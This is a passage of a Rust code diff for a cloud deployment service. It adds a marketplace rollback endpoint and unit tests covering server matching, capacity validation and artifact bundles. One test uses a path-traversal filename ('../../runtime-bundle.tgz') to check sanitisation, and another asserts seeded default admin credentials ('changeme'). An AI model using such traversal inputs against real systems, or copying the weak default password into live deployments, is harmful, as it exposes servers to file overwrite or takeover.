+    let id = project.id;
+
+    let cloud = match db::cloud::fetch(pg_pool.get_ref(), cloud_id).await {
+        Ok(cloud) => match cloud {
+            Some(cloud) => cloud,
+            None => {
+                return Err(
+                    JsonResponse::<models::Project>::build().not_found("No cloud configured")
+                );
+            }
+        },
+        Err(_e) => {
+            return Err(JsonResponse::<models::Project>::build().not_found("No cloud configured"));
+        }
+    };
+
+    validate_project_locked_cloud_provider(&project, &cloud.provider)
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    form.cloud.provider = cloud.provider.trim().to_string();
+
+    if !form.validate().is_ok() {
+        let errors = form.validate().unwrap_err().to_string();
+        let err_msg = format!("Invalid form data received {:?}", &errors);
+        tracing::debug!(err_msg);
+
+        return Err(JsonResponse::<models::Project>::build().form_error(errors));
+    }
+
+    // Validate that saved cloud credentials can be decrypted before proceeding.
+    // When SECURITY_KEY changed or encryption is corrupted, decode() silently
+    // returns "" which causes a 401 deep inside the Install Service. Catch it early.
+    if cloud.provider != "own" {
+        let test_cloud = forms::cloud::CloudForm::decode_model(cloud.clone(), true);
+        let token_empty = test_cloud
+            .cloud_token
+            .as_ref()
+            .map_or(true, |t| t.is_empty());
+        let key_empty = test_cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty());
+        let secret_empty = test_cloud
+            .cloud_secret
+            .as_ref()
+            .map_or(true, |s| s.is_empty());
+
+        // Most providers need cloud_token; AWS needs cloud_key + cloud_secret
+        if token_empty && (key_empty || secret_empty) {
+            tracing::error!(
+                "Cloud credentials for cloud_id={} (provider={}) could not be decrypted. \
+                 Token empty: {}, Key empty: {}, Secret empty: {}",
+                cloud_id,
+                cloud.provider,
+                token_empty,
+                key_empty,
+                secret_empty,
+            );
+            return Err(JsonResponse::<models::Project>::build().bad_request(
+                "Cloud API credentials could not be decrypted. \
+                 Please delete and re-add your cloud credentials in Settings → Cloud Providers.",
+            ));
+        }
+    }
+
+    // Handle server: if server_id provided, update existing; otherwise create new
+    let server = if let Some(server_id) = form.server.server_id {
+        // Update existing server
+        let existing = db::server::fetch(pg_pool.get_ref(), server_id)
+            .await
+            .map_err(|_| {
+                JsonResponse::<models::Server>::build()
+                    .internal_server_error("Failed to fetch server")
+            })?
+            .ok_or_else(|| JsonResponse::<models::Server>::build().not_found("Server not found"))?;
+
+        // Verify ownership
+        if existing.user_id != user.id {
+            return Err(JsonResponse::<models::Server>::build().not_found("Server not found"));
+        }
+
+        let mut server = existing;
+        server.disk_type = form.server.disk_type.clone();
+        server.region = form.server.region.clone();
+        server.server = form.server.server.clone();
+        server.zone = form.server.zone.clone().or(server.zone);
+        server.os = form.server.os.clone();
+        server.project_id = id;
+        // Preserve existing srv_ip if form doesn't provide one
+        server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip);
+        server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user);
+        server.ssh_port = form.server.ssh_port.or(server.ssh_port);
+        server.name = form.server.name.clone().or(server.name);
+        if form.server.connection_mode.is_some() {
+            server.connection_mode = form.server.connection_mode.clone().unwrap();
+        }
+        server.cloud_id = Some(cloud_id);
+
+        db::server::update(pg_pool.get_ref(), server)
+            .await
+            .map_err(|_| {
+                JsonResponse::<models::Server>::build()
+                    .internal_server_error("Failed to update server")
+            })?
+    } else {
+        // Create new server
+        let mut server: models::Server = (&form.server).into();
+        server.user_id = user.id.clone();
+        server.project_id = id;
+        server.cloud_id = Some(cloud_id);
+
+        db::server::insert(pg_pool.get_ref(), server)
+            .await
+            .map_err(|_| {
+                JsonResponse::<models::Server>::build()
+                    .internal_server_error("Failed to create server")
+            })?
+    };
+
+    validate_reused_cloud_server(&cloud, &server)
+        .await
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    validate_hetzner_server_type(
+        &cloud,
+        server.server.as_deref().unwrap_or(""),
+        server.region.as_deref(),
+    )
+    .await
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    ensure_default_status_panel_npm_credentials(
+        user.as_ref(),
+        &form,
+        pg_pool.get_ref(),
+        sets.get_ref(),
+        &server,
+    )
+    .await
+    .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+    if let Some(template) = marketplace_template.as_ref() {
+        let requirements = parse_template_requirements(template)
+            .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+        validate_template_target_requirements(
+            template,
+            &requirements,
+            &cloud.provider,
+            server.os.as_deref(),
+        )
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+        validate_template_server_capacity_requirements(
+            template,
+            &requirements,
+            &cloud.provider,
+            Some(cloud_id),
+            server.server.as_deref(),
+            user.access_token.as_deref(),
+        )
+        .await
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    }
+
+    let (project_id, deployment_id) = execute_deployment(
+        user.as_ref(),
+        project,
+        &form,
+        pg_pool.get_ref(),
+        mq_manager.get_ref(),
+        install_service.get_ref(),
+        vault_client.get_ref(),
+        sets.get_ref(),
+        cloud,
+        server,
+    )
+    .await?;
+
+    Ok(JsonResponse::<models::Project>::build()
+        .set_id(project_id)
+        .set_meta(serde_json::json!({ "deployment_id": deployment_id }))
+        .ok("Success"))
 }
-#[tracing::instrument(name = "Deploy, when cloud token is saved", skip_all)]
-#[post("/{id}/deploy/{cloud_id}")]
-pub async fn saved_item(
+
+#[tracing::instrument(name = "Rollback marketplace deployment", skip_all)]
+#[post("/{id}/rollback")]
+pub async fn rollback(
     user: web::ReqData<Arc<models::User>>,
-    form: web::Json<forms::project::Deploy>,
-    path: web::Path<(i32, i32)>,
+    path: web::Path<(i32,)>,
+    request: web::Json<RollbackRequest>,
     pg_pool: Data<PgPool>,
     mq_manager: Data<MqManager>,
-    _sets: Data<Settings>,
-    user_service: Data<Arc<dyn UserServiceConnector>>,
+    sets: Data<Settings>,
     install_service: Data<Arc<dyn InstallServiceConnector>>,
+    user_service: Data<Arc<dyn UserServiceConnector>>,
     vault_client: Data<VaultClient>,
 ) -> Result<impl Responder> {
     let id = path.0;
-    let cloud_id = path.1;
 
-    tracing::debug!(
-        "User {} is deploying project: {} to cloud: {}",
-        user.id,
-        id,
-        cloud_id
-    );
+    let mut project = db::project::fetch(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        .and_then(|project| match project {
+            Some(project) if project.user_id != user.id => {
+                Err(JsonResponse::<models::Project>::build().not_found("Project not found"))
+            }
+            Some(project) => Ok(project),
+            None => Err(JsonResponse::<models::Project>::build().not_found("Project not found")),
+        })?;
 
-    if !form.validate().is_ok() {
-        let errors = form.validate().unwrap_err().to_string();
-        let err_msg = format!("Invalid form data received {:?}", &errors);
-        tracing::debug!(err_msg);
+    let template_id = project.source_template_id.ok_or_else(|| {
+        JsonResponse::<models::Project>::build()
+            .bad_request("Rollback is only available for marketplace projects")
+    })?;
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<models::Project>::build().not_found("Template not found"))?;
+    services::validate_marketplace_template_access(
+        user_service.get_ref(),
+        user.as_ref(),
+        &template,
+    )
+    .await
+    .map_err(map_marketplace_access_error)?;
+
+    let target_version = db::marketplace::list_versions_by_template(pg_pool.get_ref(), template_id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
+        .into_iter()
+        .find(|version| version.version == request.version)
+        .ok_or_else(|| {
+            JsonResponse::<models::Project>::build().bad_request(format!(
+                "Marketplace template version '{}' was not found",
+                request.version
+            ))
+        })?;
+
+    let servers = db::server::fetch_by_project(pg_pool.get_ref(), project.id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    if servers.len() != 1 {
+        return Err(JsonResponse::<models::Project>::build()
+            .bad_request("Rollback currently supports exactly one attached server"));
+    }
+    let server = servers.into_iter().next().expect("server count checked");
+    let cloud_id = server.cloud_id.ok_or_else(|| {
+        JsonResponse::<models::Project>::build()
+            .bad_request("Rollback requires a saved cloud configuration on the attached server")
+    })?;
+    let cloud = db::cloud::fetch(pg_pool.get_ref(), cloud_id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<models::Project>::build().not_found("No cloud configured"))?;
+
+    let requirements = parse_template_requirements(&template)
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    validate_template_target_requirements(
+        &template,
+        &requirements,
+        &cloud.provider,
+        server.os.as_deref(),
+    )
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    validate_template_server_capacity_requirements(
+        &template,
+        &requirements,
+        &cloud.provider,
+        Some(cloud_id),
+        server.server.as_deref(),
+        user.access_token.as_deref(),
+    )
+    .await
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    let (metadata, template_stack_code) =
+        build_rollback_project_payload(target_version.stack_definition.clone())
+            .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    let deploy_form = build_rollback_deploy_form(template_stack_code);
+
+    validate_reused_cloud_server(&cloud, &server)
+        .await
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    project.metadata = metadata;
+    project.request_json = target_version.stack_definition;
+    project.template_version = Some(target_version.version.clone());
+
+    let (project_id, deployment_id) = execute_deployment(
+        user.as_ref(),
+        project.clone(),
+        &deploy_form,
+        pg_pool.get_ref(),
+        mq_manager.get_ref(),
+        install_service.get_ref(),
+        vault_client.get_ref(),
+        sets.get_ref(),
+        cloud,
+        server,
+    )
+    .await?;
+
+    db::project::update(pg_pool.get_ref(), project)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::<models::Project>::build()
+        .set_id(project_id)
+        .set_meta(serde_json::json!({ "deployment_id": deployment_id }))
+        .ok("Success"))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        apply_deploy_bundle, build_runtime_artifact_bundle, compose_content_from_config_files,
+        default_status_panel_npm_credentials, derive_public_ports_from_metadata,
+        embedded_marketplace_compose, ensure_trailing_newline, find_matching_hetzner_server,
+        hetzner_server_ip, preserve_marketplace_runtime_artifacts, resolve_provided_ssh_keypair,
+        should_seed_default_status_panel_npm_credentials, sync_runtime_artifact_bundle,
+        validate_min_cpu_requirement, validate_min_disk_requirement, validate_min_ram_requirement,
+        HetznerIpv4, HetznerPublicNet, HetznerServer,
+    };
+    use crate::configuration::Settings;
+    use crate::connectors::app_service_catalog::ServerCapacity;
+    use crate::forms;
+    use crate::models::{self, StackTemplateVersion};
+    use serde_json::json;
+    use uuid::Uuid;
+
+    fn build_template(slug: &str) -> models::StackTemplate {
+        models::StackTemplate {
+            id: Uuid::new_v4(),
+            creator_user_id: "creator".to_string(),
+            creator_name: None,
+            name: "Test template".to_string(),
+            slug: slug.to_string(),
+            short_description: None,
+            long_description: None,
+            category_code: None,
+            product_id: None,
+            tags: json!([]),
+            tech_stack: json!({}),
+            status: "approved".to_string(),
+            is_configurable: None,
+            view_count: None,
+            deploy_count: None,
+            required_plan_name: None,
+            price: None,
+            billing_cycle: None,
+            currency: None,
+            created_at: None,
+            updated_at: None,
+            approved_at: None,
+            verifications: json!({}),
+            infrastructure_requirements: json!({}),
+            public_ports: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
+            changelog: None,
+            config_files: json!(null),
+            assets: json!(null),
+            seed_jobs: json!(null),
+            post_deploy_hooks: json!(null),
+            update_mode_capabilities: None,
+        }
+    }
+
+    fn htz_server(name: &str, ip: &str) -> HetznerServer {
+        HetznerServer {
+            name: name.to_string(),
+            status: Some("running".to_string()),
+            public_net: Some(HetznerPublicNet {
+                ipv4: Some(HetznerIpv4 { ip: ip.to_string() }),
+            }),
+        }
+    }
+
+    #[test]
+    fn status_panel_managed_proxy_deploy_seeds_default_npm_credentials() {
+        let form = forms::project::Deploy {
+            stack: forms::project::Stack {
+                extended_features: Some(vec![json!("nginx_proxy_manager")]),
+                ..Default::default()
+            },
+            server: forms::ServerForm {
+                connection_mode: Some("status_panel".to_string()),
+                ..Default::default()
+            },
+            ..Default::default()
+        };
+
+        assert!(should_seed_default_status_panel_npm_credentials(&form));
+    }
+
+    #[test]
+    fn deploy_without_status_panel_does_not_seed_default_npm_credentials() {
+        let form = forms::project::Deploy {
+            stack: forms::project::Stack {
+                extended_features: Some(vec![json!("nginx_proxy_manager")]),
+                ..Default::default()
+            },
+            ..Default::default()
+        };
+
+        assert!(!should_seed_default_status_panel_npm_credentials(&form));
+    }
+
+    #[test]
+    fn default_status_panel_npm_credentials_match_cli_status_defaults() {
+        let credentials = default_status_panel_npm_credentials();
+
+        assert_eq!(credentials["schema_version"], 1);
+        assert_eq!(credentials["host"], "http://nginx-proxy-manager:81");
+        assert_eq!(credentials["email"], "admin@example.com");
+        assert_eq!(credentials["password"], "changeme");
+        assert_eq!(credentials["auth_mode"], "email_password");
+    }
+
+    #[test]
+    fn hetzner_server_matching_prefers_name_or_ip() {
+        let provider_servers = vec![
+            htz_server("old-server", "203.0.113.10"),
+            htz_server("coolify-current", "203.0.113.42"),
+        ];
+        let stacker_server = models::Server {
+            name: Some("coolify-current".to_string()),
+            srv_ip: Some("198.51.100.5".to_string()),
+            ..Default::default()
+        };
+
+        let matched = find_matching_hetzner_server(&provider_servers, &stacker_server)
+            .expect("server should match by name");
+
+        assert_eq!(matched.name, "coolify-current");
+        assert_eq!(hetzner_server_ip(matched), Some("203.0.113.42"));
+    }
+
+    #[test]
+    fn hetzner_server_matching_returns_none_for_deleted_server() {
+        let provider_servers = vec![htz_server("different", "203.0.113.10")];
+        let stacker_server = models::Server {
+            name: Some("deleted-server".to_string()),
+            srv_ip: Some("203.0.113.42".to_string()),
+            ..Default::default()
+        };
+
+        assert!(find_matching_hetzner_server(&provider_servers, &stacker_server).is_none());
+    }
+
+    #[test]
+    fn min_ram_validation_allows_exact_capacity_match() {
+        let template = build_template("exact-match");
+        let server_capacity = ServerCapacity {
+            id: "t3.medium".to_string(),
+            ram_mb: Some(2048),
+            cpu_cores: Some(2),
+            disk_gb: Some(40),
+        };
+
+        assert_eq!(
+            Ok(()),
+            validate_min_ram_requirement(&template, "t3.medium", 2048, &server_capacity)
+        );
+    }
+
+    #[test]
+    fn min_ram_validation_rejects_lower_capacity() {
+        let template = build_template("needs-more-ram");
+        let server_capacity = ServerCapacity {
+            id: "t3.small".to_string(),
+            ram_mb: Some(1024),
+            cpu_cores: Some(2),
+            disk_gb: Some(20),
+        };
+
+        let err = validate_min_ram_requirement(&template, "t3.small", 2048, &server_capacity)
+            .expect_err("lower RAM should be rejected");
+
+        assert!(err.contains("minimum RAM requirement"));
+        assert!(err.contains("2048"));
+        assert!(err.contains("1024"));
+    }
+
+    #[test]
+    fn min_disk_validation_allows_exact_capacity_match() {
+        let template = build_template("disk-exact-match");
+        let server_capacity = ServerCapacity {
+            id: "t3.medium".to_string(),
+            ram_mb: Some(2048),
+            cpu_cores: Some(2),
+            disk_gb: Some(40),
+        };
+
+        assert_eq!(
+            Ok(()),
+            validate_min_disk_requirement(&template, "t3.medium", 40, &server_capacity)
+        );
+    }
+
+    #[test]
+    fn min_disk_validation_rejects_lower_capacity() {
+        let template = build_template("needs-more-disk");
+        let server_capacity = ServerCapacity {
+            id: "t3.small".to_string(),
+            ram_mb: Some(2048),
+            cpu_cores: Some(2),
+            disk_gb: Some(20),
+        };
+
+        let err = validate_min_disk_requirement(&template, "t3.small", 40, &server_capacity)
+            .expect_err("lower disk should be rejected");
+
+        assert!(err.contains("minimum disk requirement"));
+        assert!(err.contains("40"));
+        assert!(err.contains("20"));
+    }
+
+    #[test]
+    fn min_cpu_validation_allows_exact_capacity_match() {
+        let template = build_template("cpu-exact-match");
+        let server_capacity = ServerCapacity {
+            id: "t3.medium".to_string(),
+            ram_mb: Some(4096),
+            cpu_cores: Some(4),
+            disk_gb: Some(40),
+        };
+
+        assert_eq!(
+            Ok(()),
+            validate_min_cpu_requirement(&template, "t3.medium", 4, &server_capacity)
+        );
+    }
+
+    #[test]
+    fn min_cpu_validation_rejects_lower_capacity() {
+        let template = build_template("needs-more-cpu");
+        let server_capacity = ServerCapacity {
+            id: "t3.small".to_string(),
+            ram_mb: Some(4096),
+            cpu_cores: Some(2),
+            disk_gb: Some(80),
+        };
+
+        let err = validate_min_cpu_requirement(&template, "t3.small", 4, &server_capacity)
+            .expect_err("lower CPU should be rejected");
+
+        assert!(err.contains("minimum CPU requirement"));
+        assert!(err.contains("4"));
+        assert!(err.contains("2"));
+    }
+
+    #[test]
+    fn compose_content_from_config_files_prefers_uploaded_compose() {
+        let compose = compose_content_from_config_files(&json!([
+            {
+                "name": ".env",
+                "content": "APP_ENV=production"
+            },
+            {
+                "name": "docker-compose.yml",
+                "content": "services:\n  website:\n    image: syncopiaapp/website:latest\n"
+            }
+        ]))
+        .expect("config files should be valid")
+        .expect("compose should be discovered");
+
+        assert!(compose.contains("syncopiaapp/website:latest"));
+    }
+
+    #[test]
+    fn apply_deploy_bundle_merges_runtime_fields_and_returns_compose() {
+        let mut project = models::Project::new(
+            "user-1".to_string(),
+            "syncopia".to_string(),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "syncopia"
+                }
+            }),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "syncopia"
+                }
+            }),
+        );
+        let form = forms::project::Deploy {
+            environment: Some("prod".to_string()),
+            config_files: Some(json!([
+                {
+                    "name": "docker-compose.yml",
+                    "content": "services:\n  website:\n    image: syncopiaapp/website:latest\n",
+                    "destination_path": "docker-compose.yml"
+                },
+                {
+                    "name": ".env",
+                    "content": "WEBSITE_IMAGE=syncopiaapp/website:latest\n",
+                    "destination_path": ".env",
+                    "file_mode": "0644"
+                }
+            ])),
+            config_bundle: Some(json!({
+                "manifest": {
+                    "environment": "prod",
+                    "config_files": [
+                        {
+                            "destination_path": ".env"
+                        }
+                    ]
+                }
+            })),
+            ..Default::default()
+        };
+
+        let compose = apply_deploy_bundle(&mut project, &form)
+            .expect("bundle application should succeed")
+            .expect("compose should be available");
+
+        assert!(compose.contains("syncopiaapp/website:latest"));
+        assert_eq!(project.metadata["environment"], json!("prod"));
+        assert_eq!(project.request_json["environment"], json!("prod"));
+        assert_eq!(
+            project.metadata["config_files"][0]["name"],
+            json!("docker-compose.yml")
+        );
+        assert_eq!(
+            project.metadata["custom"]["deployment_artifacts"]["config_bundle"]["environment"],
+            json!("prod")
+        );
+        assert_eq!(
+            project.request_json["custom"]["deployment_artifacts"]["config_bundle"]["config_files"]
+                [0]["destination_path"],
+            json!(".env")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_config_files"][0]["path"],
+            json!(".env")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_config_files"][0]["content"],
+            json!("WEBSITE_IMAGE=syncopiaapp/website:latest\n")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_config_files"][0]["mode"],
+            json!("0644")
+        );
+    }
+
+    #[test]
+    fn preserve_marketplace_runtime_artifacts_backfills_from_request_json_and_version() {
+        let mut project = models::Project::new(
+            "user-1".to_string(),
+            "runtime-artifacts".to_string(),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts"
+                }
+            }),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_config_files": [
+                        {"path": "config/app.env", "content": "APP_ENV=prod"}
+                    ]
+                }
+            }),
+        );
+        let latest_version = StackTemplateVersion {
+            config_files: json!([
+                {"path": "config/app.env", "content": "APP_ENV=prod"}
+            ]),
+            assets: json!([
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "runtime-assets",
+                    "key": "templates/runtime/runtime-bundle.tgz",
+                    "filename": "runtime-bundle.tgz",
+                    "sha256": "abc123",
+                    "size": 42,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ]),
+            seed_jobs: json!([{ "name": "seed-admin" }]),
+            post_deploy_hooks: json!([{ "name": "notify" }]),
+            ..StackTemplateVersion::default()
+        };
+
+        preserve_marketplace_runtime_artifacts(&mut project, Some(&latest_version))
+            .expect("artifact preservation should succeed");
+
+        assert_eq!(
+            project.metadata["custom"]["marketplace_config_files"][0]["path"],
+            json!("config/app.env")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_assets"][0]["filename"],
+            json!("runtime-bundle.tgz")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_seed_jobs"][0]["name"],
+            json!("seed-admin")
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_post_deploy_hooks"][0]["name"],
+            json!("notify")
+        );
+    }
+
+    #[test]
+    fn preserve_marketplace_runtime_artifacts_keeps_explicitly_cleared_fields() {
+        let mut project = models::Project::new(
+            "user-1".to_string(),
+            "runtime-artifacts".to_string(),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_assets": [],
+                    "marketplace_seed_jobs": [],
+                    "marketplace_post_deploy_hooks": []
+                }
+            }),
+            json!({
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_config_files": [],
+                    "marketplace_assets": [],
+                    "marketplace_seed_jobs": [],
+                    "marketplace_post_deploy_hooks": []
+                }
+            }),
+        );
+        let latest_version = StackTemplateVersion {
+            config_files: json!([
+                {"path": "config/app.env", "content": "APP_ENV=prod"}
+            ]),
+            assets: json!([
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "runtime-assets",
+                    "key": "templates/runtime/runtime-bundle.tgz",
+                    "filename": "runtime-bundle.tgz",
+                    "sha256": "abc123",
+                    "size": 42,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ]),
+            seed_jobs: json!([{ "name": "seed-admin" }]),
+            post_deploy_hooks: json!([{ "name": "notify" }]),
+            ..StackTemplateVersion::default()
+        };
+
+        preserve_marketplace_runtime_artifacts(&mut project, Some(&latest_version))
+            .expect("artifact preservation should succeed");
+
+        assert_eq!(
+            project.metadata["custom"]["marketplace_config_files"],
+            json!([])
+        );
+        assert_eq!(project.metadata["custom"]["marketplace_assets"], json!([]));
+        assert_eq!(
+            project.metadata["custom"]["marketplace_seed_jobs"],
+            json!([])
+        );
+        assert_eq!(
+            project.metadata["custom"]["marketplace_post_deploy_hooks"],
+            json!([])
+        );
+    }
+
+    #[test]
+    fn build_runtime_artifact_bundle_selects_archive_and_defers_execution() {
+        let mut settings = Settings::default();
+        settings.marketplace_assets.enabled = true;
+        settings.marketplace_assets.endpoint_url = "https://objects.trydirect.test".to_string();
+        settings.marketplace_assets.region = "eu-central".to_string();
+        settings.marketplace_assets.current_env = "test".to_string();
+        settings.marketplace_assets.access_key_id = "marketplace-test-access".to_string();
+        settings.marketplace_assets.secret_access_key = "marketplace-test-secret".to_string();
+        settings.marketplace_assets.bucket_test = "marketplace-assets-test".to_string();
+
+        let custom = json!({
+            "marketplace_config_files": [
+                {"path": "config/app.env", "content": "APP_ENV=prod"}
+            ],
+            "marketplace_assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/runtime/runtime-bundle.tgz",
+                    "filename": "runtime-bundle.tgz",
+                    "sha256": "abc123",
+                    "size": 42,
+                    "content_type": "application/gzip",
+                    "decompress": true,
+                    "fetch_target": "/opt/runtime"
+                },
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/runtime/logo.png",
+                    "filename": "logo.png",
+                    "sha256": "def456",
+                    "size": 7,
+                    "content_type": "image/png",
+                    "decompress": false
+                }
+            ],
+            "marketplace_seed_jobs": [
+                {"name": "seed-admin"}
+            ],
+            "marketplace_post_deploy_hooks": [
+                {"name": "notify"}
+            ]
+        });
+
+        let bundle = build_runtime_artifact_bundle(&settings, &custom)
+            .expect("bundle build should succeed")
+            .expect("bundle metadata should exist");
 
-        return Err(JsonResponse::<models::Project>::build().form_error(errors));
+        assert_eq!(bundle["filename"], json!("runtime-bundle.tgz"));
+        assert_eq!(bundle["config_files_count"], json!(1));
+        assert_eq!(bundle["seed_jobs_execution"], json!("deferred"));
+        assert_eq!(bundle["post_deploy_execution"], json!("deferred"));
+        assert!(bundle["download_url"]
+            .as_str()
+            .expect("download url should exist")
+            .contains("runtime-bundle.tgz"));
     }
 
-    // Validate project
-    let project = db::project::fetch(pg_pool.get_ref(), id)
-        .await
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
-        .and_then(|project| match project {
-            Some(project) => Ok(project),
-            None => Err(JsonResponse::<models::Project>::build().not_found("Project not found")),
-        })?;
+    #[test]
+    fn build_runtime_artifact_bundle_sanitizes_archive_filename() {
+        let mut settings = Settings::default();
+        settings.marketplace_assets.enabled = true;
+        settings.marketplace_assets.endpoint_url = "https://objects.trydirect.test".to_string();
+        settings.marketplace_assets.region = "eu-central".to_string();
+        settings.marketplace_assets.current_env = "test".to_string();
+        settings.marketplace_assets.access_key_id = "marketplace-test-access".to_string();
+        settings.marketplace_assets.secret_access_key = "marketplace-test-secret".to_string();
+        settings.marketplace_assets.bucket_test = "marketplace-assets-test".to_string();
 
-    // Check marketplace template plan requirements if project was created from template
-    if let Some(template_id) = project.source_template_id {
-        if let Some(template) = db::marketplace::get_by_id(pg_pool.get_ref(), template_id)
-            .await
-            .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
-        {
-            // If template requires a specific plan, validate user has it
-            if let Some(required_plan) = template.required_plan_name {
-                let has_plan = user_service
-                    .user_has_plan(&user.id, &required_plan, user.access_token.as_deref())
-                    .await
-                    .map_err(|err| {
-                        tracing::error!("Failed to validate plan: {:?}", err);
-                        JsonResponse::<models::Project>::build()
-                            .internal_server_error("Failed to validate subscription plan")
-                    })?;
+        let custom = json!({
+            "marketplace_assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/runtime/runtime-bundle.tgz",
+                    "filename": "../../runtime-bundle.tgz",
+                    "sha256": "abc123",
+                    "size": 42,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ]
+        });
 
-                if !has_plan {
-                    tracing::warn!(
-                        "User {} lacks required plan {} to deploy template {}",
-                        user.id,
-                        required_plan,
-                        template_id
-                    );
-                    return Err(JsonResponse::<models::Project>::build().forbidden(format!(
-                        "You require a '{}' subscription to deploy this template",
-                        required_plan
-                    )));
+        let bundle = build_runtime_artifact_bundle(&settings, &custom)
+            .expect("bundle build should succeed")
+            .expect("bundle metadata should exist");
+
+        assert_eq!(bundle["filename"], json!("runtime-bundle.tgz"));
+    }
+
+    #[test]
+    fn sync_runtime_artifact_bundle_removes_stale_bundle_when_artifacts_are_cleared() {
+        let settings = Settings::default();
+        let mut project = models::Project::new(
+            "user-1".to_string(),
+            "runtime-artifacts".to_string(),
+            json!({
+                "runtime_artifact_bundle": {
+                    "filename": "stale-runtime-bundle.tgz"
+                },
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_config_files": [],
+                    "marketplace_assets": [],
+                    "marketplace_seed_jobs": [],
+                    "marketplace_post_deploy_hooks": []
                 }
-            }
-        }
+            }),
+            json!({
+                "runtime_artifact_bundle": {
+                    "filename": "stale-runtime-bundle.tgz"
+                },
+                "custom": {
+                    "web": [],
+                    "custom_stack_code": "runtime-artifacts",
+                    "marketplace_config_files": [],
+                    "marketplace_assets": [],
+                    "marketplace_seed_jobs": [],
+                    "marketplace_post_deploy_hooks": []
+                }
+            }),
+        );
+
+        sync_runtime_artifact_bundle(&settings, &mut project)
+            .expect("runtime artifact sync should succeed");
+
+        assert!(project.metadata.get("runtime_artifact_bundle").is_none());
+        assert!(project
+            .request_json
+            .get("runtime_artifact_bundle")
+            .is_none());
     }
 
-    // Build compose
-    let id = project.id;
-    let dc = DcBuilder::new(project);
-    let fc = dc
-        .build()
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    #[test]
+    fn resolve_provided_ssh_keypair_derives_public_key_when_missing() {
+        let (public_key, private_key) =
+            crate::helpers::vault::VaultClient::generate_ssh_keypair().expect("test keypair");
+        let form = forms::server::ServerForm {
+            ssh_private_key: Some(private_key.clone()),
+            ..Default::default()
+        };
 
-    let cloud = match db::cloud::fetch(pg_pool.get_ref(), cloud_id).await {
-        Ok(cloud) => match cloud {
-            Some(cloud) => cloud,
-            None => {
-                return Err(
-                    JsonResponse::<models::Project>::build().not_found("No cloud configured")
-                );
-            }
-        },
-        Err(_e) => {
-            return Err(JsonResponse::<models::Project>::build().not_found("No cloud configured"));
-        }
-    };
+        let resolved = resolve_provided_ssh_keypair(&form)
+            .expect("valid keypair")
+            .expect("keypair should be present");
 
-    // Validate that saved cloud credentials can be decrypted before proceeding.
-    // When SECURITY_KEY changed or encryption is corrupted, decode() silently
-    // returns "" which causes a 401 deep inside the Install Service. Catch it early.
-    if cloud.provider != "own" {
-        let test_cloud = forms::cloud::CloudForm::decode_model(cloud.clone(), true);
-        let token_empty = test_cloud
-            .cloud_token
-            .as_ref()
-            .map_or(true, |t| t.is_empty());
-        let key_empty = test_cloud
-            .cloud_key
-            .as_ref()
-            .map_or(true, |k| k.is_empty());
-        let secret_empty = test_cloud
-            .cloud_secret
-            .as_ref()
-            .map_or(true, |s| s.is_empty());
+        assert_eq!(resolved.0, public_key);
